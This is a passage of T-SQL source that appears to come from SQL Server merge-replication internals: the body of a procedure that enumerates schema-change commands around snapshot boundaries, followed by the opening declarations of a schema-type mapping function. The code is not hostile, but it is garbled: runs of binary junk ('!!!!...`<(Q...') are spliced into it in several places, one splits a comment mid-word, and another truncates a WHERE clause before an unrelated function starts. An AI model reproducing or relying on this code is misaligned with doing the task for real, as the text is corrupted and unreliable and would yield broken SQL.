    declare @SCHEMA_TYPE_NONSQLALTERTABLE       int
    declare @SCHEMA_TYPE_REINITWITHUPLOAD       int
    declare @SCHEMA_TYPE_DDL_ACTIONS            int
    declare @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP int
    declare @SCHEMA_TYPE_ARTICLEPROCESSINGORDER     int
    declare @SCHEMA_TYPE_DROPARTICLE        int
    declare @SCHEMA_TYPE_USER_DEFINED_DATA_TYPE     int
    declare @SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE int
    declare @SCHEMA_TYPE_ASSEMBLY               int
    declare @SCHEMA_TYPE_PARTITIONSCHEME    int
    declare @SCHEMA_TYPE_PARTITIONFUNCTION  int
    declare @SCHEMA_TYPE_XMLSCHEMANAMESPACE int
    declare @SCHEMA_TYPE_FULLTEXTCATALOG        int
    declare @SCHEMA_TYPE_SYNONYM            int
    declare @SCHEMA_TYPE_USER_SCHEMA            int
    declare @SCHEMA_TYPE_USER_DEFINED_TABLE_TYPE     int
    declare @schemaversion_of_snapshottrailer int    
    declare @desired_schema_status tinyint

    set @SCHEMA_TYPE_ALTERTABLE                 = 11
    set @SCHEMA_TYPE_REINITALL                  = 12
    set @SCHEMA_TYPE_NONSQLALTERTABLE           = 13
    set @SCHEMA_TYPE_REINITWITHUPLOAD           = 14
    set @SCHEMA_TYPE_ARTICLEPROCESSINGORDER     = 22
    set @SCHEMA_TYPE_DROPARTICLE                = 28
    set @SCHEMA_TYPE_USER_DEFINED_DATA_TYPE     = 88
    set @SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE = 89
    set @SCHEMA_TYPE_ASSEMBLY                   = 90
    set @SCHEMA_TYPE_PARTITIONSCHEME            = 91
    set @SCHEMA_TYPE_PARTITIONFUNCTION          = 92
    set @SCHEMA_TYPE_XMLSCHEMANAMESPACE         = 93
    set @SCHEMA_TYPE_FULLTEXTCATALOG            = 96  
    set @SCHEMA_TYPE_SYNONYM                    = 100
    set @SCHEMA_TYPE_DDL_ACTIONS                = 300
    set @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP   = 301
    set @SCHEMA_TYPE_USER_SCHEMA                = 31
    set @SCHEMA_TYPE_USER_DEFINED_TABLE_TYPE             = 105

    if (@schemaversion is null)
    begin
        RAISERROR(14043, 16, -1, '@schemaversion', 'sp_MSenumschemachange_90')
        return (1)
    end

        --  @schema_needed = 0 - only send back reinitall command, if any 
        --  @schema_needed = 1 - normal enumeration
        --  @schema_needed = 2 - only send back alter-table command, if any
        --  @schema_needed = 3 - only send back reinitall-with-upload command, if any.

    if (@AlterTableOnly = 1)
    begin
        if 0=@invalidateupload_schemachanges_for_ssce
        begin
            select pubid, artid, schemaversion, schemaguid, schematype, schematext
                from dbo.sysmergeschemachange 
                where pubid=@pubid and 
                      schemaversion > @schemaversion and 
                      schematype in (
                                        @SCHEMA_TYPE_ALTERTABLE,
                                        @SCHEMA_TYPE_NONSQLALTERTABLE,
                                        @SCHEMA_TYPE_DDL_ACTIONS,
                                        @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP,                                    
                                        @SCHEMA_TYPE_DROPARTICLE
                                    )
                       and schemastatus < case @filter_skipped_schemachanges when 1 then 2 else 3 end
        end
        else
        begin
            select pubid, artid, schemaversion, schemaguid, schematype, schematext
                from dbo.sysmergeschemachange 
                where pubid=@pubid and 
                      schemaversion > @schemaversion and 
                      schematype in (
                                        @SCHEMA_TYPE_ALTERTABLE,
                                        @SCHEMA_TYPE_NONSQLALTERTABLE,
                                        @SCHEMA_TYPE_DDL_ACTIONS,
                                        @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP,
                                        @SCHEMA_TYPE_ARTICLEPROCESSINGORDER,

                                        -- SCHEMA_TYPE_DROPARTICLE is here because an article might have
                                        -- been dropped, DDL on the article happened, then article was
                                        -- readded. Thus, SSCE upload needs to be rejected, as otherwise
                                        -- it might contain DML based on old schema.
                                        @SCHEMA_TYPE_DROPARTICLE
                                    )
                       and schemastatus < case @filter_skipped_schemachanges when 1 then 2 else 3 end
        end
    
        return (0)          
    end
        
    if exists (select * from dbo.sysmergeschemachange where 
        pubid=@pubid and ((schemaversion > @schemaversion and schematype = @SCHEMA_TYPE_REINITALL)
        or (schemaversion > @schemaversion and schematype = @SCHEMA_TYPE_REINITWITHUPLOAD)))
    begin
        select @schemaversion=0
    end


    if @filter_skipped_schemachanges = 1            
        select @desired_schema_status = 2 
    else 
        select @desired_schema_status = 3

    if (@schemaversion > 0) 
    begin
        -- Subscriber has already received the snapshot so filter out 
        -- the pre/post-snapshot commands. 
        -- If @schemaversion > 0, there are two main cases that we need to 
        -- consider: 
        -- i) There are incremental article commands such as bcp/schema 
        --    commands that need to be applied within a "fake" snapshot 
        --    boundary
        -- ii) There is no incremental article commands, schema changes can be
        --     applied "normally"
        declare @min_incremental_schemaversion int
        declare @max_incremental_schemaversion int

        select @min_incremental_schemaversion = null

        -- min and max should be different because with min we don't look at schema type 48 (*.prc files)
        -- whereas with max we should include that.
            -- normal snapshot commands excluding pre/post snapshot commands
            -- and system tables commands
            -- the incremental add article commands will have a non null artid. The below clause is to avoid incorrect
            -- application of snapshot on upgrade since yukon has new 90 schemachange commands.
        select @min_incremental_schemaversion = min(schemaversion)
          from dbo.sysmergeschemachange where schemaversion > @schemaversion
           and pubid = @pubid 
           and schematype in (2, 3, 4, 61, 62, 63, 64, 131, 132, 10, 15, 65, 88, 89, 90, 91, 92, 93, 96, 100, 31, 105)
           and (artid is NULL or artid in (select artid from dbo.sysmergearticles where pubid = @pubid)
                                     or artid in (select artid from dbo.sysmergeschemaarticles where pubid = @pubid))
           
        select @max_incremental_schemaversion = max(schemaversion)
          from dbo.sysmergeschemachange where schemaversion > @schemaversion
           and pubid = @pubid 
           and schematype in (2, 3, 4, 61, 62, 63, 64, 131, 132, 10, 15, 65, 88, 89, 90, 91, 92, 93, 96, 100, 31, 48, 105)
           and (artid is NULL or artid in (select artid from dbo.sysmergearticles where pubid = @pubid)
                                    or artid in (select artid from dbo.sysmergeschemaarticles where pubid = @pubid))           

        if @min_incremental_schemaversion is not null
        begin

            -- case i), we have incrementally added articles
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Q0^ov:

            -- Need to save off the schemaguid of the max incremental change
            -- for labelling the trailer. This is to prevent the schema 
            -- validation logic from raising false alarm saying that the
            -- publisher is restored from a backup
            declare @max_incremental_schemaguid uniqueidentifier            
            select @max_incremental_schemaguid = schemaguid 
              from dbo.sysmergeschemachange 
             where schemaversion = @max_incremental_schemaversion
               and pubid = @pubid               
                
            declare @incremental_schematype_bit int
            select @incremental_schematype_bit = 1024


            select pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
            from 
            (
            -- Insert every thing before @min_incremental_schemaversion but
            -- after @schemaversion
            -- Note: Excluded list should include all snapshot header, trailer commands
            select 10 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
              from dbo.sysmergeschemachange where schemaversion > @schemaversion
               and schemaversion < @min_incremental_schemaversion 
               and pubid = @pubid
               and schematype not in (40, 45, 50, 51, 52, 53, 54, 55, 56, 57, 58, 60, 25, 5, 6, 71, 80, 81, 82, 83, 84, 85)
               and schemastatus < @desired_schema_status
            -- Incremental snapshot header
            -- Header begins
            union all
            select 20 as schema_type_group, pubid, artid, @min_incremental_schemaversion, schemaguid, schematype | @incremental_schematype_bit,  schematext, schemastatus 
              from dbo.sysmergeschemachange
             where pubid = @pubid
               and schematype = 50
               and schemastatus < @desired_schema_status

            -- Header content
            union all
            select 30 as schema_type_group, pubid, artid, @min_incremental_schemaversion, schemaguid, schematype | @incremental_schematype_bit,  schematext, schemastatus
              from dbo.sysmergeschemachange
             where pubid = @pubid
               and schematype in (25, 53, 54, 55, 56, 57, 58)
               and schemastatus < @desired_schema_status

            -- Header ends
            union all
            select 40 as schema_type_group, pubid, artid, @min_incremental_schemaversion, schemaguid, schematype | @incremental_schematype_bit,  schematext, schemastatus
             from dbo.sysmergeschemachange
            where pubid = @pubid
              and schematype = 51
               and schemastatus < @desired_schema_status

            -- Add everything between max and min and maintain ordering
            union all
            select 50 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
              from dbo.sysmergeschemachange where schemaversion >= @min_incremental_schemaversion
               and schemaversion <= @max_incremental_schemaversion
               and pubid = @pubid
               and schematype in (@SCHEMA_TYPE_USER_SCHEMA)
               and schemastatus < @desired_schema_status

            -- Add everything between max and min and maintain ordering
            union all
            select 55 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
              from dbo.sysmergeschemachange where schemaversion >= @min_incremental_schemaversion
               and schemaversion <= @max_incremental_schemaversion
               and pubid = @pubid
               and schematype in (@SCHEMA_TYPE_PARTITIONFUNCTION)
               and schemastatus < @desired_schema_status

            -- Add everything between max and min and maintain ordering
            union all
            select 60 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
              from dbo.sysmergeschemachange where schemaversion >= @min_incremental_schemaversion
               and schemaversion <= @max_incremental_schemaversion
               and pubid = @pubid
               and schematype in (@SCHEMA_TYPE_ASSEMBLY, @SCHEMA_TYPE_PARTITIONSCHEME)
               and schemastatus < @desired_schema_status
               
            -- Add everything between max and min and maintain ordering
            union all
            select 70 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
              from dbo.sysmergeschemachange where schemaversion >= @min_incremental_schemaversion
               and schemaversion <= @max_incremental_schemaversion
               and pubid = @pubid
               and schematype in (@SCHEMA_TYPE_USER_DEFINED_DATA_TYPE, @SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE, @SCHEMA_TYPE_XMLSCHEMANAMESPACE, @SCHEMA_TYPE_FULLTEXTCATALOG)
               and schemastatus < @desired_schema_status

		 -- Add everything between max and min and maintain ordering
		 -- UDTableType can contain udt or clr udt or xml datatype. Hence it should be enumerated after all of the above.
            union all
            select 75 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
              from dbo.sysmergeschemachange where schemaversion >= @min_incremental_schemaversion
               and schemaversion <= @max_incremental_schemaversion
               and pubid = @pubid
               and schematype in (@SCHEMA_TYPE_USER_DEFINED_TABLE_TYPE)
               and schemastatus < @desired_schema_status


            -- Add everything between max and min and filter out things
            -- we didn't want before in the normal case
            -- Note: Excluded list should include all snapshot header, trailer commands
            union all
            select 80 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
              from dbo.sysmergeschemachange where schemaversion >= @min_incremental_schemaversion
               and schemaversion <= @max_incremental_schemaversion
               and pubid = @pubid
               and schematype not in (40, 45, 50, 51, 52, 53, 54, 55, 56, 57, 58, 25, 5, 6, 71)
               and schemastatus < @desired_schema_status

            -- Incremental snapshot trailer
            union all
            select 90 as schema_type_group, pubid, artid, @max_incremental_schemaversion, @max_incremental_schemaguid, schematype | @incremental_schematype_bit,  schematext, schemastatus
              from dbo.sysmergeschemachange 
             where pubid = @pubid
               and schematype = 52
               and schemastatus < @desired_schema_status

            -- Add everything after the incremental article commands
            -- Note: Excluded list should include all snapshot header, trailer commands
            union all
            select 100 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus
              from dbo.sysmergeschemachange where schemaversion > @max_incremental_schemaversion
               and pubid = @pubid 
               and schematype not in (40, 45, 50, 51, 52, 53, 54, 55, 56, 57, 58, 25, 5, 6, 71, 80, 81, 82, 83, 84, 85)
               and schemastatus < @desired_schema_status

            ) as incremental_schema_changes
            order by schema_type_group, schemaversion            
        end
        else
        begin
            -- case ii)
            -- Also filter out the schemtypes for the setlastsentgen (5) and setlastrecgen (6)
            -- This ensures that the subscriber does not apply these schema changes when 
            -- it applies incremental schema - ie the perf optimization that is impl!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Q+!v:emented 
            -- by setting last sent/rec generation should be done only for brand new subscriptions.
            -- Need to remove dynamic snapshot validation command too.
            -- Note: Excluded list should include all snapshot header, trailer commands
            select pubid, artid, schemaversion, schemaguid, schematype, schematext
              from dbo.sysmergeschemachange where schemaversion > @schemaversion  
               and pubid = @pubid
               and schematype not in (40, 45, 50, 51, 52, 53, 54, 55, 56, 57, 58, 25, 5, 6, 71, 80, 81, 82, 83, 84, 85)
               -- filter out article or system table bcp commands. These can only be present if an incrementally
               -- added article was present. In that case it should have entered the above if block and should not get to
               -- this else block. The following is there to take care of the upgrade scenario.
               -- 17 is compute rec gen command which also be present only when applying the entire snapshot
               -- 48 is the file that contains the merge stored procedures, do not enumerate it
               and schematype not in (3, 4, 131, 132, 10, 15, 17, 48)
               and schemastatus < @desired_schema_status
           order by schemaversion 
        end
    end
    Else 
    begin
        declare @snapshot_trailer_schemaversion int

        select @schemaversion_of_snapshottrailer = min(schemaversion) from dbo.sysmergeschemachange 
            where schemaversion > @schemaversion 
            and pubid = @pubid
            and schematype = 52 
    
        -- Subscriber requires a snapshot, so carefully sequence the 
        -- pre/post-snapshot commands around the snapshot boundary
        
        select pubid, artid, schemaversion, schemaguid, schematype,  schematext
        from
        (
        -- select snapshot header 
        -- Header begins
        select 10 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 50
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status
           
        -- Header content
        union all
        select 20 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (25, 53, 54, 55, 56, 57, 58) 
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Header ends
        union all
        select 30 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 51 
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- End of snapshot header 
        -- Insert pre command
        union all
        select 40 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 40 
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Dynamic snapshot validation token processing command, if there is 
        -- one
        union all
        select 50 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 71
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- insert the presnapshot script command
        union all
        select 60 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (60, 67)
           and schemastatus < @desired_schema_status

        -- insert the drop mergearticle command
        union all
        select 70 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = @SCHEMA_TYPE_DROPARTICLE
           and schemastatus < @desired_schema_status
        
        -- Exclude pre-post, but include snapshot only commands
        union all
        select 80 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (@SCHEMA_TYPE_USER_SCHEMA)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Exclude pre-post, but include snapshot only commands
        union all
        select 85 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (@SCHEMA_TYPE_PARTITIONFUNCTION)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Exclude pre-post, but include snapshot only commands
        union all
        select 90 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (@SCHEMA_TYPE_ASSEMBLY, @SCHEMA_TYPE_PARTITIONSCHEME)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Exclude pre-post, but include snapshot only commands
        union all
        select 100 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (@SCHEMA_TYPE_USER_DEFINED_DATA_TYPE, @SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE, @SCHEMA_TYPE_XMLSCHEMANAMESPACE, @SCHEMA_TYPE_FULLTEXTCATALOG)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Exclude pre-post, but include snapshot only commands
	-- UDTableType can contain udt or clr udt or xml datatype. Hence it should be enumerated after all of the above.
        union all
        select 105 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (@SCHEMA_TYPE_USER_DEFINED_TABLE_TYPE)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

         
        !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Q=Βv:-- DIRECTORY
        union all
        select 110 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (7)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- object creation schema types (sch files)
        union all
        select 112 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, processing_order
          from (
                -- get processing order from sysmergearticles where artid=artid
                select sms.pubid, sms.artid, sms.schemaversion, sms.schemaguid, sms.schematype, sms.schematext, sms.schemastatus, sma.processing_order                
                from dbo.sysmergeschemachange sms JOIN dbo.sysmergearticles sma ON sms.artid = sma.artid and sms.pubid = sma.pubid
                where sms.schemaversion > @schemaversion 
                   and sms.pubid = @pubid
                   and sms.schematype in (2, 61, 62, 63, 64, 100)
                   and sms.schemaversion < @schemaversion_of_snapshottrailer
                   and sms.schemastatus < @desired_schema_status

                -- get processing order from sysmergearticles where artid=munged artid
                union all
                select sms.pubid, sms.artid, sms.schemaversion, sms.schemaguid, sms.schematype, sms.schematext, sms.schemastatus, sma.processing_order                
                from dbo.sysmergeschemachange sms JOIN dbo.sysmergearticles sma 
                    ON substring(convert(binary(16), sms.artid),5,4) = convert(binary(4), sma.objid) and
                       substring(convert(binary(16), sms.artid),0,5) = 0x00000000 and sms.pubid = sma.pubid
                where sms.schemaversion > @schemaversion 
                   and sms.pubid = @pubid
                   and sms.schematype in (2, 61, 62, 63, 64, 100)
                   and sms.schemaversion < @schemaversion_of_snapshottrailer
                   and sms.schemastatus < @desired_schema_status

                -- get processing order from sysmergeschemaarticles where artid= artid
                union all
                select sms.pubid, sms.artid, sms.schemaversion, sms.schemaguid, sms.schematype, sms.schematext, sms.schemastatus, smsa.processing_order                
                from dbo.sysmergeschemachange sms JOIN dbo.sysmergeschemaarticles smsa ON sms.artid = smsa.artid and sms.pubid = smsa.pubid
                where sms.schemaversion > @schemaversion 
                   and sms.pubid = @pubid
                   and sms.schematype in (2, 61, 62, 63, 64, 100)
                   and sms.schemaversion < @schemaversion_of_snapshottrailer
                   and sms.schemastatus < @desired_schema_status

                -- get processing order from sysmergeschemaarticles where artid= munged artid
                union all
                select sms.pubid, sms.artid, sms.schemaversion, sms.schemaguid, sms.schematype, sms.schematext, sms.schemastatus, smsa.processing_order                
                from dbo.sysmergeschemachange sms JOIN dbo.sysmergeschemaarticles smsa 
                    ON substring(convert(binary(16), sms.artid),5,4) = convert(binary(4), smsa.objid) and
                       substring(convert(binary(16), sms.artid),0,5) = 0x00000000 and sms.pubid = smsa.pubid
                where sms.schemaversion > @schemaversion 
                   and sms.pubid = @pubid
                   and sms.schematype in (2, 61, 62, 63, 64, 100)
                   and sms.schemaversion < @schemaversion_of_snapshottrailer
                   and sms.schemastatus < @desired_schema_status
                   ) as processing_order_specific_schemas
                   

        -- BCP commands
        union all
        select 114 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (3, 4, 80, 81, 82, 83, 84, 85)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Dynamic BCP commands
        union all
        select 120 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (131, 132, 208, 209, 210, 211, 212, 213)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status
        
        -- Trg/XPROP/DRI/MERGE Procs
        union all
        select 130 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype in (10,15,65,48)
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Insert post command
        union all
        select 140 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 45 
           and schemaversion < @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status

        -- Insert snapshot trailer
        union all
        select 150 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 52 
           and schemaversion = @schemaversion_of_snapshottrailer
           and schemastatus < @desired_schema_status
        
        -- Insert other schema changes
        union all
        select 160 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and schematype not in (2, 3, 4, 10, 15, 7, 40, 45, 60, 80, 81, 82, 83, 84, 85, 88, 89, 90, 91, 92, 93, 96, 31, 48, 105)
           and schematype not in (61, 62, 63, 64, 65, 71, 100)
           and schematype not in (25, 50, 51, 52, 53, 54, 55, 56, 57, 58)
           and schematype not in (131, 132, 208, 209, 210, 211, 212, 213) -- dynamic bcp commands
           and schematype not in (46, 11, 13, 300, 301) -- The on-demand script and schema replication commands should not be enumerated unless 
                                                        -- we have made sure that it was posted after the current snapshot.
           and schematype not in (@SCHEMA_TYPE_DROPARTICLE)
           and schematype not in (12, 14) -- we are skipping the reinit type commands here and we will insert it seperately. This is so that we only select the reinit commands with the highest schemaversion
           and pubid = @pubid
           and schemastatus < @desired_schema_status

        -- reinit type commands
        union all
        select top 1 170 as schema_type_group, pubid, artid, schemaversion, schemaguid, schematype,  schematext, schemastatus, 0 as processing_order
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
           and pubid = @pubid
           and schematype = 12 
           and schemasta!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<( v
Y-- This function takes returns the type of the schema change
create function sys.fn_MapSchemaType (@schematype int, @schemasubtype int)
returns sysname
as
begin
    declare @friendly_schematype sysname

    declare @SCHEMA_TYPE_SQLCOMMAND                 int 
    declare @SCHEMA_TYPE_SCHEMASCRIPT       int 
    declare @SCHEMA_TYPE_NATIVEBCP                  int
    declare @SCHEMA_TYPE_CHARACTERBCP       int
    declare @SCHEMA_TYPE_LASTRECGEN         int
    declare @SCHEMA_TYPE_LASTSENTGEN        int
    declare @SCHEMA_TYPE_DIRECTORY                  int 
    declare @SCHEMA_TYPE_PRIORITYCHANGE         int     
    declare @SCHEMA_TYPE_RETENTIONCHANGE    int
    declare @SCHEMA_TYPE_TRIGGERSCRIPT      int 
    declare @SCHEMA_TYPE_ALTERTABLE                 int
    declare @SCHEMA_TYPE_REINITALL                  int
    declare @SCHEMA_TYPE_NONSQLALTERTABLE   int
    declare @SCHEMA_TYPE_REINITWITHUPLOAD   int
    declare @SCHEMA_TYPE_DRISCRIPT                  int 
    declare @SCHEMA_TYPE_METADATACLEANUP    int
    declare @SCHEMA_TYPE_UPDATELASTSENTGEN  int
    declare @SCHEMA_TYPE_BACKWARD_COMPAT_LEVEL int
    declare @SCHEMA_TYPE_VALIDATE_SUBSCRIBERINFO int
    declare @SCHEMA_TYPE_WELLPARTITIONED int
    declare @SCHEMA_TYPE_ARTICLERESOLVER int
    declare @SCHEMA_TYPE_ARTICLEPROCESSINGORDER int
    declare @SCHEMA_TYPE_PUBLISHED_IN_TRANPUB int
    declare @SCHEMA_TYPE_COMPENSATE_FOR_ERRORS int
    declare @SCHEMA_TYPE_ALTSNAPSHOTFOLDER int
    declare @SCHEMA_TYPE_UPLOADOPTIONS int
    declare @SCHEMA_TYPE_DELETETRACKING int
    declare @SCHEMA_TYPE_DROPARTICLE int
    declare @SCHEMA_TYPE_RETENTIONUNITCHANGE int
    declare @SCHEMA_TYPE_USER_SCHEMA int
    declare @SCHEMA_TYPE_PRESNAPSHOTSCRIPT int
    declare @SCHEMA_TYPE_POSTSNAPSHOTSCRIPT int
    declare @SCHEMA_TYPE_ONDEMANDUSERSCRIPT int
    declare @SCHEMA_TYPE_MERGEPROCEDURESCRIPT int
    declare @SCHEMA_TYPE_SNAPSHOTHEADERBEGIN int
    declare @SCHEMA_TYPE_SNAPSHOTHEADEREND int
    declare @SCHEMA_TYPE_SNAPSHOTTRAILER int
    declare @SCHEMA_TYPE_FTPADDRESS int
    declare @SCHEMA_TYPE_FTPPORT int
    declare @SCHEMA_TYPE_FTPSUBDIR int
    declare @SCHEMA_TYPE_SNAPSHOTCOMPRESSED int
    declare @SCHEMA_TYPE_FTPLOGIN int
    declare @SCHEMA_TYPE_FTPPASSWORD int
    declare @SCHEMA_TYPE_SYSPRESCRIPT int
    declare @SCHEMA_TYPE_PROCSCHEMA int
    declare @SCHEMA_TYPE_VIEWSCHEMA int
    declare @SCHEMA_TYPE_UDFSCHEMA int
    declare @SCHEMA_TYPE_VIEWINDEXES int
    declare @SCHEMA_TYPE_EXTENDEDPROPERTIES int
    declare @SCHEMA_TYPE_VALIDATE int
    declare @SCHEMA_TYPE_PRESNAPSHOTSQLCOMMAND int
    declare @SCHEMA_TYPE_DYNSNAPVALIDATION int
    declare @SCHEMA_TYPE_SYSTABLE_NATIVE_BCP_90 int
    declare @SCHEMA_TYPE_SYSTABLE_CHAR_BCP_90 int
    declare @SCHEMA_TYPE_SYSTABLE_NATIVE_BCP_90_FORGLOBALONLY int
    declare @SCHEMA_TYPE_SYSTABLE_CHAR_BCP_90_FORGLOBALONLY int
    declare @SCHEMA_TYPE_SYSTABLE_NATIVE_BCP_90_FORLIGHTWEIGHT int
    declare @SCHEMA_TYPE_SYSTABLE_CHAR_BCP_90_FORLIGHTWEIGHT int
    declare @SCHEMA_TYPE_USER_DEFINED_DATA_TYPE int
    declare @SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE int
    declare @SCHEMA_TYPE_ASSEMBLY int
    declare @SCHEMA_TYPE_PARTITIONSCHEME int
    declare @SCHEMA_TYPE_PARTITIONFUNCTION int
    declare @SCHEMA_TYPE_XMLSCHEMANAMESPACE int
    declare @SCHEMA_TYPE_FULLTEXTCATALOG int
    declare @SCHEMA_TYPE_SYNONYM int
    declare @SCHEMA_TYPE_DYNAMICBCPBIT int
    declare @SCHEMA_TYPE_DYNAMICNATIVEBCP int
    declare @SCHEMA_TYPE_DYNAMICCHARBCP int
    declare @SCHEMA_TYPE_DYNAMIC_SYSTABLE_NATIVE_BCP_90 int
    declare @SCHEMA_TYPE_DYNAMIC_SYSTABLE_CHAR_BCP_90 int
    declare @SCHEMA_TYPE_DYNAMIC_SYSTABLE_NATIVE_BCP_90_FORGLOBALONLY int
    declare @SCHEMA_TYPE_DYNAMIC_SYSTABLE_CHAR_BCP_90_FORGLOBALONLY int
    declare @SCHEMA_TYPE_DYNAMIC_SYSTABLE_NATIVE_BCP_90_FORLIGHTWEIGHT int
    declare @SCHEMA_TYPE_DYNAMIC_SYSTABLE_CHAR_BCP_90_FORLIGHTWEIGHT int
    declare @SCHEMA_TYPE_DDL_ACTIONS int
    declare @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP int
    declare @SCHEMA_TYPE_INCREMENTALSNAPSHOTCONTROL int
    declare @SCHEMA_TYPE_INCREMENTALALTSNAPSHOTFOLDER int
    declare @SCHEMA_TYPE_INCREMENTALSNAPSHOTHEADERBEGIN int
    declare @SCHEMA_TYPE_INCREMENTALSNAPSHOTHEADEREND int
    declare @SCHEMA_TYPE_INCREMENTALSNAPSHOTTRAILER int
    declare @SCHEMA_TYPE_INCREMENTALFTPADDRESS int
    declare @SCHEMA_TYPE_INCREMENTALFTPPORT int
    declare @SCHEMA_TYPE_INCREMENTALFTPSUBDIR int
